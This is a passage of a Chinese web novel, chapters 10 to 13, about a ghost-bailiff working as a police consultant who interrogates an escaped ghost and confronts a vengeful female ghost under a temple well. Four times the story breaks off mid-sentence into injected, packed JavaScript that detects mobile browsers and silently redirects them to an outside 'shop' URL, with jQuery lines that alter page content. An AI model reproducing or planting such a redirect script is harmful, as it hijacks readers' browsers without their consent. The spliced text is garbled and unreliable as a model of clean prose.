李善言:“……”这是个白痴鬼吧,阴差这么明显的气息都闻不出来? 凌初见李善言露出一言难尽的表情,揶揄道:“小道士,不装了?” “阴差大人,我没装。”李善言嘴硬。 “嘁!”凌初懒得跟他掰扯,看着紧闭的讯问室房门,挥了下手,径直走了进去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924181|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 鬼魂的喊叫声瞬间停了一瞬,紧接着“啊啊啊啊——”惨叫起来。 李善言目瞪口呆。 “吵什么!闭嘴!”凌初大喝,“还不快进来?”这句话是对李善言说的。 李善言试探伸手,摸了个空,这才发觉讯问室紧闭的房门只是个表象,人可以直接进入。他抬脚进去,房门恢复原样。 昏暗狭小的讯问室内,一人、一鬼、一阴差,要素齐全。 凌初一屁股坐在警察的位子上,气场全开,白痴鬼穿一身破烂袍子,战战兢兢躲在墙角。 “恶鬼,报上名来,饶你不死。坦白从宽,抗拒从严。”凌初开门见山。 李善言震惊,原来阴差都是这副做派吗?他十分怀疑后面八个字是凌初看到墙上的字后临时加上去的。 那小鬼往上飘了几分,十分自觉地坐到讯问椅上,乖巧回答:“启禀大人,小的姓沈,名仲英,家中行二,您称呼我‘沈二’就行。” “哦,沈二。”凌初左手一伸,出逃恶鬼名单登时显现,“哗啦哗啦”纸张自动翻页,一直翻到沈仲英的信息才停下。 凌初大致扫了眼,继续问:“所犯何事?” 这下子沈二倒是有些不好意思,嗫嚅道:“就、就是活着的时候比较喜欢去青楼,判官大人说我好色淫邪,罚我入油锅地狱,受熬煎之刑。” 李善言心道:这不就是嫖.娼? “好,此次出逃,念在你并无害人之举,无需罪加一等。便继续呆在油锅地狱,服刑三百年吧。”凌初下了决断,拿出锁魂袋,准备施诀作法。 “大人饶命!我、我、我知道十八层地狱生乱的原因,我能戴罪立功!”沈二丝滑下跪求饶。 李善言:“……”今日真是开了眼。 “怎么说?”凌初饶有兴趣盯着沈二。 “当时我本在受刑,忽然一阵地动山摇,各地狱中间突然发出一道金光,直通天际。金光过后,有鬼魂感受到阴司与人间的结界有所松动,于是几名法术高强的鬼修合作,将结界破开,然后各地狱的恶鬼纷纷响应,全力出逃。 但是十殿阎罗反应极快,结界破开的一瞬间他们就感知到了,立刻有所行动。正是因为有那几名鬼修跟十殿阎罗对抗,这才为我们的出逃寻到一丝机会。”沈二说着说着,目露向往之色,众鬼出逃阴司,何等惊心动魄、热血贲张的场面! “咚咚”,凌初敲了敲桌子,阴沉道:“说重点。” “逃亡途中,我听说十八层地狱之所以有异动,是因为无间地狱有一只道行高深的恶鬼拿走了阴阳界则,获得了它的力量。阴阳界则移位,结界不稳,所以众鬼才能出逃。” 无间地狱啊,许多年没听过这名字了,凌初竟恍惚了一瞬,而后倏然回神。 沈二没有注意到凌初一瞬间的出神,继续说:“那无间地狱的恶鬼,有鬼称他‘昼始’大人。” “呵!真是狂妄!”凌初冷笑,“区区阴司之鬼,竟敢取名‘昼始’!怎么,他是想做个给你们带来光明的神吗?” 沈二低头,不敢回答。 昼,光明也;始,起始也。真是一位极度强大、极度傲慢的鬼魂。李善言如此想到。 “沈二,昼始长什么样子?” 沈二摇了摇头,道:“我当时只顾着逃跑,没注意这些。”然后他小心翼翼地说:“大人,我把我知道的都告诉您了,您看,我的刑期……” 凌初起身,爽快道:“行,油锅地狱,二百九十九年。” “啊——”沈二傻眼,我说了这么多,就减一年啊? “幽冥无道,诸鬼缚魂,收!” 沈二只来得及骂上一句“骗子——”,然后整只鬼便不受控制地化作一道流光,隐入锁魂袋中。 凌初看李善言欲言又止的模样,“想说什么就说。” “阴差竟然连‘鬼’都骗吗?” 11. 城隍庙会 “阴差竟然连‘鬼’都骗吗?” 凌初笑了,“啧!这是什么话,我连你们活人都骗,何况区区恶鬼。”她语气理所当然,“更何况,我又没骗他,不是减了一年刑期吗?” 李善言不知道是否应该对凌初这番话感到荣幸,感谢阴差大人的一视同仁?“凌顾问,沈二是你把它困在这里的?” “是。当时路过,我感受到了它的气息,便给这房间画了个‘困魂阵’,以免他逃脱。” “哦。”李善言默默应了。 “坐。小李同志,我们好好谈谈。”恶鬼的事情已经解决了,现在要解决下跟这个小道士之间的事情。 李善言看凌初指着讯问椅,不可置信:“你让我坐这儿?” “不然?”凌初反问。 李善言哭笑不得,谁能想到刚入职当警察就有幸坐上“坦白椅”,真不知道这算不算是个坏兆头? “你非要站着,也行。”凌初十分善解人意,想让她腾位置,门儿都没有。 “……那倒也不必。”李善言径直坐下,与凌初相对而坐。 “我跟你说件事情吧,数日前,阴司生乱,恶鬼出逃……”凌初侃侃而谈,李善言专心致志地听着。 “所以你想利用恶鬼附身恶人的特性,跟公安局联手,捉拿出逃恶鬼?” 凌初点头,这小道士很聪明嘛,一点就透。 “需要我帮你掩护?”李善言又问。 “是的是的。”凌初猛点头,以后坚决不能再发生捉贪财鬼那样的事情了。 李善言听后,摸着下巴沉吟,“我考虑考虑。” 好小子,给你三分好颜色就敢开染房!凌初身子往后一靠,二郎腿一翘,半是劝诫半是威胁:“李善言,本阴差提前征求你意见是给你面子。你若是故意拿乔,我可就直接上报阴司,强征你做‘生无常’了啊。 你想清楚,做生无常还是帮我打掩护,这任务繁重程度可是不太一样的哟。” “……”这阴差怎么如此不讲道理? 凌初循循善诱,“恶鬼出逃,对你们阳世也有影响,尤其是对你们这种吃阴间饭的家族来说。况且,你作为人民警察,不仅应该保护阳世人民财产安全,也应该匡扶阴间正义啊!警察同志!” 李善言听得飘飘欲仙,见凌初还想在说什么,立即道:“打住,凌顾问,我同意。” “成交!”凌初施了个术法,将自己的神识印记烙印在李善言脑海中,“以后用这个手势,敲击太阳穴两下,就可以联系我。”凌初给他看了眼自己手上的动作。 李善言比葫芦画瓢,右手食指、中指并拢,敲击太阳穴两下,“这样?” “对。”凌初的声音突然在脑海中出现,他睁大了双眼,看向对面凌初,她挑了挑眉,得意极了。 “这就是阴司的术法?” “只是小小的通灵之术而已。” 两人初步合作意愿达成,决定离开讯问室。临走前李善言说:“凌初姐,监控录像怎么办?”他指着走廊中的360度无死角摄像头。 “简单。”凌初双手手指翻飞,结了一道印,挥向监控,“好了。” “厉害厉害,我也想学。” “看你表现咯。” …… 等张小曈从厕所出来,敏锐地感受到了李善言和凌初之间的气氛有所变化,她蹲厕所这段时间发生了什么大事? 她偷偷摸摸给李善言发信息,“你跟凌初姐什么情况?” 李善言回:“没什么,就是忽然觉得她没那么可怕了。” “可怕???你眼瞎啊,凌初姐这么帅气可爱,怎么会让人害怕?表情(嫌弃)表情(嫌弃)表情(嫌弃)。” “……”李善言回复了一个省略号,真不知道他这师姐对凌初哪儿来的滤镜,这么厚! 凌初趴在桌子上奋笔疾书,洋洋洒洒写了两千字报告,终于在下班之前交给了陈遇,“陈队,这是我的报告。” 陈遇接过,首先被这一手端庄大气的小楷震惊到,不由得夸赞:“字不错。” “谢谢。”她可是在阴律司写了一百多年的文书,这字要是再不好,崔判早就把她丢给拘魂使了! 凌初刚回到位子上,就看到一个男人匆匆来到陈遇办公室,正是交警大队队长——林国庆。 办公室房门开着,两人耳语一番,随后一同上楼,看行进方向,应该是去法医室。 对哦,今天霍熹他们需要把那个倒霉鬼的尸体拼好,然后出具事故调查报告。 她屏息凝神,静静听着法医室的动静。 法医室里,灯火通明。 霍熹三人全副武装,正在一点点将死者的尸体拼起来,先是头部,然后是四肢,接着是各处骨架…… “咚咚咚!”有人敲门。 “胡扬,开门。”霍熹头也不抬直接吩咐。 胡扬脱下一次性手套,仔细在水池边洗了洗手,这才打开房门,“陈队、林队。” “小胡,你们这边什么情况?”林国庆开门见山。 胡扬回头看了一下才说:“在衣物残片中发现了证件,被卷进底盘的死者名叫‘王维明’,男,四十九岁,是新城市第一中学的历史老师。” “另一个呢?” 胡扬有些气愤道:“死者胡思齐,男,二十岁,新城医科大学大三学生,从他血液中,检测到酒精含量为120mg/100ml,属于醉酒驾驶。” 林国庆听后眼睛都红了,双手握拳,愤怒地砸向墙面,“艹!我就说现场车轮痕迹有些奇怪,他不仅闯了红灯,而且把油门当成刹车踩,原来是被酒冲昏了头!” “那七名伤者怎么样?”陈遇问。 林国庆抹一把脸,忙了一天,滴水未进,嗓子都哑了:“还行,命都保住了。有五个人已经转到普通病房了,还有两个人在重症监护室,需要观察,只要度过危险期就没事。” 这是不幸中的大幸,这场连环撞车案件,只有两人死亡,其中一人算是罪魁祸首。 “老陈,通知家属领尸的事情就拜托给你了,我得先写事故调查报告,明天局里还要发新闻通报。”林国庆沧桑道,短短一天,精气神好似被抽干了,模样一下子苍老了十几岁。 “好。”陈遇拍了拍他的肩膀,以示安慰。 林国庆游魂似的飘走了。 “辛苦了。”陈遇对法医室三个人说道。 “还有事儿没?没事儿的话赶紧出去,别影响我们工作。”霍熹下逐客令。 陈遇识趣离开。 交警大队和法医室熬了一夜,事故调查报告第二天上午八点准时进行新闻通报。 “本台报道:昨日平原路与新一街交叉口发生车辆连环撞击交通事故,经新城市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924182|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公安局红旗分局交警大队和法医勘验,事故发生原因系某大三学生醉酒驾车……” 电视上早间新闻播报着昨日事故的调查报告,红旗分局的食堂,异常沉默,全然不见往日的欢声笑语,只有碗筷碰撞的声音和几声低语。 这起事故造成了恶劣的社会影响,有网友爆出死者身份和案涉学校,在网络上引起轩然大波。 一时间,有关“大学生”、“醉酒驾车”等相关话题爆红,热度不断攀升,直接给全国各地的网警们增加了数百倍的工作量。 张小曈几日来苦不堪言,完全没有料到这起事故竟然也能波及到她的工作范围。这年头,搞技术的不仅要出现场、定纠纷,还要负责净化网络环境,哪吒的三头六臂给她还差不多! 世界上每时每刻都在发生新鲜事儿,新事儿总是会将旧事儿覆盖。忙忙碌碌的一周过去,平原路与新一街交叉口竖起了一块巨大的广告牌,写着“有朋自远方来,新城市城隍庙会,期待大家光临!” 路口绿化带摆上了各色盆栽,柏油路也被重新粉刷,血迹几乎看不见了。除了相关人员及家属,已经没有多少人记得这个路口一周前曾发生事故,死了两个人。 时间依旧向前,生活仍要继续。 一年一度的城隍庙会,如火如荼开始了。 红旗分局警力分成三部分,一部分参加任务,一部分正常工作,还有一部分应急。 凌初和陈遇分到了一组。 “陈队,我想问咱们局里分组的依据是什么?”凌初非常、非常失望。 “抽签。” “我没抽啊?” “我抽的。” 对话结束。 最终,凌初哭丧个脸,悻悻跟着陈遇前往任务地点。 路上凌初右眼眼皮狂跳,“唉——”她大声叹气,左眼跳财右眼跳灾啊。 东岳大帝保佑,千万别出什么事。 新城市城隍庙会历史悠久,花样儿极多。 陈遇:“好多人啊。”安全隐患也太大了。 凌初:好多鬼啊。最好别出现浑水摸鱼的。 城隍庙前的街道两侧,被摊贩们围了个水泄不通。 画糖人的、捏面人的、卖香火的老板们大声吆喝,“瞧一瞧,看一看啊,纯手工定制,面人手办,你想要的我全都有!” “糖画!糖画!非物质文化遗产,一个八元,两个只要十五元!” “……” 游客们在吃喝玩乐的各个小摊儿前排起了长队,鬼魂们在城隍庙门口排起了长队。 不是所有人都有资格在死后去往阴司的,也不是所有鬼魂都愿意投胎转生的。因此,阳世总会有一些孤魂野鬼存在。 孤魂野鬼之所以为孤魂野鬼,一来是因为各种原因没去成阴司或是阴曹地府;二来是因为无人祭祀,不受香火。 为了维护阳间安稳,阳间的人发明了庙会、法会这类活动,不仅能当做一个文化庆祝活动,也能为孤魂野鬼们提供免费的香火。 更重要的是,阴差们对于在庙会上出现的鬼魂,采取的是“三不”原则,不抓、不打、不管。 但今时不同往日,因为十八层地狱的那场动乱,许多恶鬼逃到了人间,为了捉拿恶鬼,阴司拘魂使几乎全部出动,严查各种庙会、法会上的鬼魂。 眼下,城隍庙门口,就有阴司鬼卒搜查。 12. 红衣女 为了不引起鬼魂们的骚乱,凌初走近城隍庙时,刻意收敛了气息。 城隍庙历史悠久,相传始于周代“八蜡祭”[3]中的水墉神[4],三国时建成第一座城隍祠,唐朝普及全国。 明朝时,朱元璋确立城隍分级敕封制度[5],将全国城隍庙分为都、府、州、县四级城隍,大致等同于如今的首都城市、省、市、县,并按照四级城隍分别敕封王、公、侯、伯四等爵位。 新城市城隍庙,便属于州城隍一级,供奉的是“显佑侯”,显佑侯真正的名字已经无从得知,唯有封号流传。 前往城隍庙的路上,陈遇给凌初大致科普了一下新城市城隍庙的历史渊源。 凌初心想:活人给阴差科普城隍庙由来,算不算班门弄斧? 两人来到城隍庙门口,陈遇给工作人员亮过证件后带着凌初直接走了进去。 因凌初敛了气息,他们两人进门时,负责搜查的鬼卒只看了一眼,就对鬼魂队伍道:“排队排队啊,一个一个进,都有香火啊。” 城隍庙里并不只供奉城隍,稍微大点儿的庙宇,都会供奉太岁、天地水三官、财神、月老等等,用来满足人的不同需求。 这跟政务服务中心的功能有异曲同工之妙,口号便是“一次跑腿儿,全部办结。” 陈遇和凌初二人今日的任务就是在城隍庙内巡视,另外还有牧野分局的两名同事一起。 游客实在是太多了,两人刚进门就直接被人群推进了太岁殿,整个人瞬间被浓郁、厚重的檀香、沉香味道包裹起来。凌迟“啧”了一声,真烦! 太岁殿内供奉六十甲子太岁神,有数十座新旧不一的彩塑神像,神像前放了新鲜的瓜果。 不少游客都去义工那儿领了免费的三支清香,然后按照义工指点的拜太岁流程先顺时针朝四方鞠躬,然后再礼拜本命星君和值年星君,最后将三支清香插在殿门外的焚香炉中,等香火燃尽后离开。 陈遇看了下焚香炉中堆着的香灰,眉头紧皱着环顾太岁殿,终于在角落里看到了两只灭火器,这才稍许放松。 他挤过人群,先敬了个礼,才对殿内义工说:“你好,红旗分局陈遇,焚香炉中的香灰太多了,有火灾隐患,麻烦你清理一下。” 义工是在城隍庙干了好几年的老手,对警察的流程已经很熟悉了,闻言点头:“好的。” 陈遇颔首,准备叫凌初离开,结果转身就找不到凌初了! “人呢?!”陈遇叹气,认命般的出去找人。 凌初又被迫跟着人群走出了太岁殿,好不容易松了口气,结果一低头,发现衣角破了两个小洞,周围一圈黑黑的,还有香气,不知道是谁的香灰掉了上去。 凌初:“……”谁干的?赔钱! 赔钱是不可能赔钱的,太岁殿内人那么多,根本找不到肇事者。 转眼又一波人走进城隍庙,凌初急忙溜了,远离太岁殿。 继续往里走,经过天、地、水三官殿后,又到两处殿宇,凌初被眼前奇异且极端的情形惊呆了。 左侧月老殿,右边财神殿,人数对比惨烈。 月老殿内,只有寥寥几人,门口焚香炉,就孤零零地插了几支线香;而财神殿门前,排队的人都绕了一大圈,仍然有源源不断的人站到队尾,再看焚香炉,香灰都攒了好几堆,周遭鬼魂围了里三层外三层,一个个面目狰狞、贪婪地吸食着香火。 “不愧是财神啊,真大方。”香火对于神灵来说,是极其重要的存在。香火越盛,神灵法力越高强,地位也越高,信众受到的庇护越多。 但这也太奇怪了,没人拜月老吗? 路过的姑娘看她若有所思盯着月老殿,忍不住开口:“小姐姐,你想去拜月老啊?” 凌初回神,“倒也不是。就是比较好奇,为什么拜财神的人比拜月老的人多那么多?” 那姑娘“嗐”了一声,说:“这才正常啊。说明女性意识崛起了,男人靠不住,只有钱才能给我带来安全感。” “哦——这样啊。”凌初恍然大悟。 那姑娘仔细打量她,又问:“小姐姐,你是断网了吗?” 凌初没听懂她说的是什么意思,回了句:“啊?” “就是近段时间网络上爆火的一句话啊,叫‘月老庙前我爱答不理,财神门前我长跪不起’[6]。”姑娘说完就站到了拜财神的队伍里,还冲她招手:“快来啊。” 凌初露出一个尴尬的笑容,摆了摆手,继续往里走去。 这一进院子没有殿宇,而是个小花园。新城地处北方,正值农历三月,草木乍青,给这园子添上了一抹鲜艳的翠绿。 因此,翠绿之中一身大红就格外刺眼。 从凌初的方向看,那红衣女人个子高挑,一头又长又直的乌发,行进间身姿窈窕,光看背影,便觉得是个美人。 只是美人羞涩,只顾着沿游廊走,步伐极快,一不小心撞了人,连半分停顿也无! “哎呦!”一个老太太叫了一声,身子一歪,堪堪拿拐杖稳住。 美人直接掠过她,转过游廊,人就不见了。 那白发老太太气得拿拐杖“咚咚”敲地,嘴里还骂着:“这都啥人啊!撞人也不道歉!没素质!” 不对劲,很不对劲,凌初直觉告诉她这个红衣女人,有问题。 于是她跟了上去。 …… 陈遇在三官殿遇到了牧野分局的两位同事,也是一男一女,他跟这两人是老相识了,打了招呼:“杨队、刘队。” 杨帆是牧野分局的刑侦大队大队长,刘景行是她的副手。 “就你自己啊?”杨帆今年四十,相貌温婉,个子不太高。第一次见她的人很难将她跟警察这个职业联系在一起。因为她外表十分具有欺骗性,从警以来,多次担任卧底任务,捣毁了好几个涉.黑团伙窝点,荣誉、锦旗拿了一大堆,在整个省都十分有名。 陈遇摊手道:“城隍庙游客太多了,我跟我同事失联了。” 刘景行跟陈遇算是同龄,性格大大咧咧的,插嘴:“打个电话不就行了?” 陈遇忍不住白他一眼,这么简单的问题他会想不到吗?关键是凌初不接电话啊!他拿出手机,调出十几个通话记录,“你看我打了没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16929341|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着手机屏幕上一连串红色,刘景行顿时肃然起敬,神人啊,连陈遇的电话也敢不接?他一定要见见这人,当面表达佩服。“凌初?这名字像个女生?新来的?”刘景行揽着陈遇肩膀,做出一副哥俩好的样子。 陈遇推开他,说:“我们红旗分局的顾问,就是嗅觉非常灵敏,可以蒙眼识人的那个。” “哟嚯,就是她哇!久闻大名,快让我看看真人。”刘景行夸张道。 杨帆伸手锤了他,笑骂:“工作呢!严肃点。” “是是是,杨队。”刘景行立即调整了站姿,冲陈遇挤眉弄眼,“快点找人啊。” 三人就此分开,牧野分局的在城隍庙内左侧巡视,陈遇靠着右边走,一边排查安全隐患一边找凌初,这人身上的疑点还没解除呢! 与此同时,凌初跟着红衣女人来到一处水井旁。 这水井距今已经四百多年了,是口枯井,没有一点水。井底离地面大概就两米来高,平常用一块废旧铁皮盖住,上面摞了两块砖头。 只见那女人掀起铁皮,没有一丝犹豫便跳了下去! 凌初大惊,眨眼间便移形换影,来到了水井旁。 只见井底尘土飞扬,空空荡荡的,连个鬼魂都没看见。 凌初略微一想,便径直跟着跳下枯井。 跳下去后,凌初脚面刚沾到井底的一瞬间,就不受控制地被一股巨大的吸力吸引过去,她闭上眼睛。 再睁开时,人已经站到了黑黢黢的一条通道里,前边还传来呼呼的风声。 “原来井底之下,别有洞天。”凌初仗着阴司鬼差的惊人视力,轻易便看到了通道两侧墙壁上的文字,是篆书。 她一面朝前走,一面看文字,这才知晓,原来这通道是八百年前,一个王侯在战败城破之际给自家儿女留下的逃生通道。 走了一段路,凌初发觉通道渐渐变窄,初时只需躬身,然后需要弯腰,最后,凌初看着那仅能容一人爬过去的通道,沉默了。 “我得爬过去吗?那女人也是爬过去的?”凌初简直不敢相信自己的眼睛,这么窄一个洞口,只可能是姑娘家才能爬过去,像陈遇那种稍微健壮的男人,光肩膀就过不去。 凌初在洞口周围发现了扒土痕迹,她果然是爬过去的。 “唉——”凌初长叹一口气,认命了。还能怎么办?爬呗。 她弯下腰,头先进去,然后趴下,艰难匍匐往前爬,腿都没地方使力,只靠双手,爬得分外艰难。 等凌初好不容易从那条极窄的通道通过,站起身拍了拍身上的土,再一抬头,被眼前的景象惊呆了。 仿佛身处古时候,木屋游廊、小桥流水、花树繁茂,凌初再一细看,发现那并不是真的,而是用不同颜色、不同材质的物品打造而成,小桥是白玉,流水是蓝绸,翡翠做的树干,金银制成的花朵。 无比华贵!无比绚烂! 这可不像是个逃生之地! 那红衣女人呢? 凌初戒备地走过小桥,穿过花树,来到木屋门前。 推开门,映入眼帘的是一张拔步床,床上是两具白骨。 13. 道长凌虚 凌初走近一看,床上两具白骨身量不高,应是孩童。 什么样的人能忍心对两个孩童动手呢? 凌初又看了一眼门外,猛地想起先前通道两侧墙壁上的篆文,一股恶寒突然从脚尖窜到了全身。 也许,这根本不是什么逃生通道,而是专门为这两个孩子挑选的坟墓!屋外那些东西,便是陪葬品。 凌初眼中莫名染上惋惜、沉痛,伸手想要收敛白骨,就在即将要触碰到其中一具白骨时,门口忽然传来一个女声,“别动!” 凌初霍然回头,正是之前的红衣女人。女人身上没有地狱恶鬼的气息,不是阴司的鬼,但也并非活人! 女人脸色苍白,眼中有一双漂亮的琥珀色瞳仁,淡若琉璃,如果动起来,应当是十分有灵气的。只是现在双眼失去焦距,无神地与凌初对视。 凌初没有妄动,伸手拂去一小块积攒了数百年的灰尘,大马金刀坐到床边,阴阳怪气笑了一声:“鬼魂附身阳世之人,可不是个好习惯。” “……”女人没有说话,视线从凌初脸上转移到了白骨身上,苍白的脸上浮现出沉重的悲伤,双眼流出两道血泪。血泪落到地上后,便化成一缕黑色的烟雾消散,地面上,被灼烧出来一个小坑。 凌初忍不住咽了下口水,表面很镇定,实则心中警铃大作,这什么鬼?附身活人还能流血泪?她驱动寻鬼镯,充满防备地盯着这个女鬼。 “大人是阴司的鬼差吧?”女鬼肯定道。 “……”不是,这鬼成精了吧?怎么看出我是阴差的?凌初没说话。 女鬼踱步到屋内唯一的圆桌前,坐下,漏出一个极其瘆人的笑容,“我给大人讲个故事吧。” 其实我不太想听哎。这话凌初就在心里想想,没敢说出来,她颔首,做出了个“请”的动作,“在下洗耳恭听。” “九百年前,此地名叫卫川,有一城,称‘新乐(le)’。新乐城民风淳朴、百姓生活安定。原因就在于卫川多金,盛产金矿,虽然大部分金子都被上贡给皇家,但黄金之多,哪怕是漏下一点渣渣,都能使三口之家一年不愁吃喝。因此,无数人都想要这块‘肥肉’。只是,金子再多,终有限数。 百年皇权更迭,乱世风云并起。外敌来犯,国都沦陷,又有谁在乎这一方小城中的百姓呢?新乐一城,摇摇欲坠。但新乐城的父母官在乎,守城官员是个武将,还封了爵位,他率军拼死抵抗,只是蚍蜉难撼大树,终于到了弹尽粮绝的时候。 围城的是个枭雄,很敬佩他的勇气。放言:‘若他归降,定会待他为座上宾,予以重用’。将军此时却不敢信,因为这枭雄一路从北方打过来,连屠了三座城池。将军问他若是归降,百姓如何?枭雄笑答:‘不若猪狗耳’。 如此,将军意识到了枭雄无论如何也不肯放过一城百姓,便一边与他周旋,一边派人挖地道,链接各个金矿,总能找到出口。”女鬼说到这儿停下,又深深地看了一眼白骨。 “所以,找到了吗?”凌初问。 她呵呵一笑,明媚极了,“找到了啊,百姓们分成好几拨,往不同的金矿走,地下道路纵横,总有生路。 枭雄后来像是意识到了什么,发动大军攻城。此刻城中百姓几乎全都跑了,只剩下将军和他的家人。将军对妻儿说他房中有一条密道,通往安全的地方,让妻子带着儿女先行离开,他随后就去找他们。 妻子和儿女相信了,走了将军屋中的密道。半路上,妻子忘记拿小女儿十分喜爱的拨浪鼓,于是折返回去,发现枭雄包围了将军的府邸,二人站在院中对峙。 枭雄说他根本没必要为这陈腐的国家断送性命,又说他心狠,竟然撇下妻儿,独自送死。将军却笑了,说他世代忠君爱国,他的妻儿,不会苟且偷生。 你瞧,多么深明大义、多么舍生忘死的将军啊!哈哈哈哈……”女鬼大笑起来,形容癫狂。 凌初腾一下起身,抖了抖肩,她鸡皮疙瘩都起来了。用一种悲天悯人的眼神,先看了床上的白骨,又看向女鬼,想必他们就是那将军的妻子与儿女了吧。 “不用那样看我,我替我的孩子们报了仇。”女鬼说得坦然又从容,平静之下浸染了一股难以言说的疯狂。 “?”凌初满头雾水。 接下来女鬼的一句话直接将她定住,“我杀了将军。” 院落中忽然起了一阵妖风,金银做成的叶子哗哗作响,红衣女人的身形开始扭曲起来,漫出一股股黑气。 女鬼红衣猎猎,癫狂大叫:“凭什么!凭什么!我的孩子们还那样小,凭什么要全了他的忠君爱国,他是孩子们的父亲啊!” 拔步床也晃动起来,两具白骨登时乱做一堆。 再不溜出去小命儿难保,凌初“呲溜”一下,滑步来到窗前,直接翻窗跃出! 女鬼迅疾闪身来到院中,打扰她孩子安宁的人和鬼,都不可饶恕,必须死在这里! 混蛋,这女鬼怎么说疯就疯啊? 凌初被迫跟女鬼对上,还没动手开打便感受到了她身体传来汹涌的鬼修之力,好家伙,这都快赶上十大阴帅的法力了!偏偏凌初受阴司禁锢,无法使出全力,只能一边招架,一边想办法找帮手。 有了! 一手并指敲击太阳穴,凌初疯狂在脑海中呼叫各大拘魂使,“鬼王、日游神、夜游神?” 没反应?不是吧,你日游神大白天的也不在?搁哪儿摸鱼呢?! “黑白无常、牛头马面?”凌初决定还是叫靠谱的来。 “……”不是吧,你们四位阴帅别搞我啊! 只能叫那几个妖修了,“豹尾、鸟嘴、鱼鳃、黄蜂!”有总比没有强。 神识无人回应。 “砰”一声,凌初慌不择路,直接撞碎了白玉栏杆,这下可好,女鬼直接发了狂,“我要杀了你!” 凌初郁闷得要死,冷不丁抬头,看到穹顶密密麻麻的镇压术法,靠!我说怎么联系不到阴司的鬼?原来是你搞的鬼!她现在也很想给那薄情的将军来上一刀。 转念一想,不对啊,这女鬼的力量为什么没事儿?合着只断绝了阴阳两界的沟通? 情急之下,凌初想到了个人,没错,人!活人! “小李子,我在城隍庙枯井下边,有一只女鬼,怨气极重,快过来帮忙!” 李善言站在城隍庙门口那条街的尽头,听到脑海中传来凌初的声音,虎躯一震,赵凭跃疑惑地问:“怎么了?” “没事没事。”他尴尬一笑,假装镇定,直接在脑子里回:“您能别加那个‘子’吗?我家是道士,不是太监。” “废话少说,快过来帮忙!”凌初很急! 李善言从她的语气中感受到了急迫,走到一旁掏出手机拨电话,“我离城隍庙很远啊,稍等啊,我给你叫个道士帮忙。” 电话“嘟嘟”响了两声,接通“喂?” “亲爱的父亲大人?求你帮个忙。”李善言谄媚道,他爸因为他不愿意当道士已经很久不理他了。 李父毫无耐心道:“有屁就放。”想起这不孝子就生气! “有新城市城隍庙道长的联系方式吗?急事,城隍庙内有恶鬼!” “等着!”听到李善言的请求,李父瞬间喜笑颜开,急忙找自己的通讯录,“儿子,凌虚道长,134XXXX5678。” “谢了,爸!”李善言挂断,再拨凌虚道长的电话。 电话接通,没等接电话的人开口,李善言语速极快,竹筒倒豆子般道:“凌虚道长您好,我是青阳李氏第一百二十七代家主李蒙的儿子李善言,警察。新城市城隍庙枯井地下有恶鬼,我同事正在与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16933663|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它搏斗,情况危急,麻烦你支援一下,谢谢!”说完就挂了电话。 “???”打扮得极其隆重的凌虚道长一脸懵逼,青阳李氏他知道,道学世家嘛;警察他也知道,人民公仆,一会儿城隍祭礼公安局局长也过来;枯井,他知道;恶鬼,他更知道啦。 唯一不明白的,就是这几个词是怎么组合到一起的? 徒弟过来请他,“师父,游神马上就结束回到城隍庙了,城隍祭典一会儿就开始,你要不要先过去等着?” “先等会儿,你跟我去花园的枯井那儿看看。” “哦,好。” 两个人一前一后往枯井那儿赶。 所过之处,不断有人跟凌虚道长打招呼。 “凌道长!” “哎,你好你好。” “道长。” “哎。” “……” 刚进花园,凌虚道长就看到枯井上方冒出的冲天怨气,失控叫了起来:“我滴个妈耶,这么重的怨气跟阴气,这地下是关了个啥呀?” 徒弟环视左右,松了口气,幸亏现在没人在花园里,否则师父这好不容易营造的仙风道骨的人设就塌房了! 凌虚道长来到枯井边,一眼看出下边有个结界,吩咐徒弟:“你在这儿等着,我下去看看。要是到点儿没回来,赶快报警!” “啊?报警吗?不是找其他道长?” “报警和道长都找,就找青阳李蒙。”凌虚道长把手机丢给徒弟,双手提着道袍,毫不犹豫跳了下去。 “师父,密码?” “八个8!” 徒弟一言难尽,谁家道长会给手机设这样的密码啊? 哦,他家的。 